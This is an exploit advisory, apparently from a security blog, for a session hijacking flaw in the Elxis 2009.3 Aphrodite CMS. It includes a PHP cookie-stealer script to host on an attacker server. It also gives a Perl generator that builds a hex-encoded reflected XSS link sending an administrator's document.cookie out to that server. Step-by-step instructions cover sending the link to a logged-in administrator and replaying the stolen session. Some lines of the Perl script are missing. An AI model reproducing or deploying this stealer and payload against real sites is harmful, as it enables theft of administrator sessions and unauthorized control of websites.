Elxis 2009.3 Aphrodite rev2681 – Session hijacking vulnerability

23 Aug

# Exploit Title: Elxis 2009.3 Aphrodite rev2681 – Session hijacking vulnerability
# Google Dork: —
# Date: 23/8/2011
# Author: mr.pr0n (@_pr0n_)
# Homepage:
# Software Link:
# Version: Elxis 2009.3 Aphrodite rev2681
# Tested on: Linux Fedora 14

| Description              |
Elxis is powerful open source content management system (CMS) released for free under the GNU/GPL license. It has unique multi-lingual features, it follows W3C standards, it is secure, flexible, easy to use, and modern. The development team, Elxis Team, paid extra attention to the optimization of the CMS for the search engines and this lead to high performance of all elxis powered web sites and to high ranking in search engines results. We are glad to introduce you to the Elxis world. Welcome!

| 0x01 | XSS Vulnerabilites                   |

FrontPage Manager: (com_content)


Content Items Manager: (com_frontpage)


Private Messages: (com_messages)


Menus Manager: (com_menus)


| 0x02 | Session hijacking Vulnerability                         |
The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token.

Because http communication uses many different TCP connections, the web server needs a method to recognize every user’s connections. The most useful method depends on a token that the Web Server sends to the client browser after a successful client authentication. A session token is normally composed of a string of variable width and it could be used in different ways, like in the URL, in the header of the http requisition as a cookie, in other parts of the header of the http request, or yet in the body of the http requisition.

The Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server.

The session token could be compromised in different ways; the most common are:

  • Predictable session token;
  • Session Sniffing;
  • Client-side attacks (XSS, malicious JavaScript Codes, Trojans, etc);
  • Man-in-the-middle attack
  • Man-in-the-browser attack


The 1st Step:
Upload to the ATTACKER_SERVER:

  • stealer.php – [Record the cookies of every user that views it!]
  • gotit.txt – [The log file!]
//--- stealer.php ---
header ('Location:http://VICTIM_SERVER/elxis/administrator/index2.php');
$cookie = $_GET['cookie'];
$log = fopen("gotit.txt", "a");
fwrite($log, $cookie ."\n");
//--- end ---

The 2nd Step:

Create the “evil” link (with the

# --- ---
print "\n   |==[ mr.pr0n ]=============================================== |\n";
print "   | Elxis 2009.3 Aphrodite rev2681 - ..the evil link creator    |\n";
print "   |===================[ ]== |\n";

print "\nEnter the target (e.g.:";
print "\n> ";
$target = "http://".$target if ($target !~ /^http:/);

print "Enter the elxis directory (e.g.: elxis)";
print "\n> ";

$target = $target."/".$dir;

print "Enter the address of the \"stealer.php\" (e.g.:";
print "\n> ";

$result = "document.location=\"$stealer?cookie=\"+document.cookie\;";
$result =~ s/(.)/sprintf("%x%",ord($1))/eg;

print "\n[+] Send this link to your victim...\n\n";
print $target."/administrator/index2.php?option=com_frontpage&search='\">%".$result."3b\n";
#--- end ---

The 3rd Step:
Send the “evil” link to the administrator….
WARNING : The administrator *MUST* be logged in.

The 4th Step:

Go to http://VICTIM_SERVER/elxis/administrator/
Insert into your cookie the hijacked session.
Go to http://VICTIM_SERVER/elxis/administrator/index2.php
…..Welcome administrator 🙂



Leave a comment

Posted by on August 23, 2011 in Exploits


Tags: , , ,

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: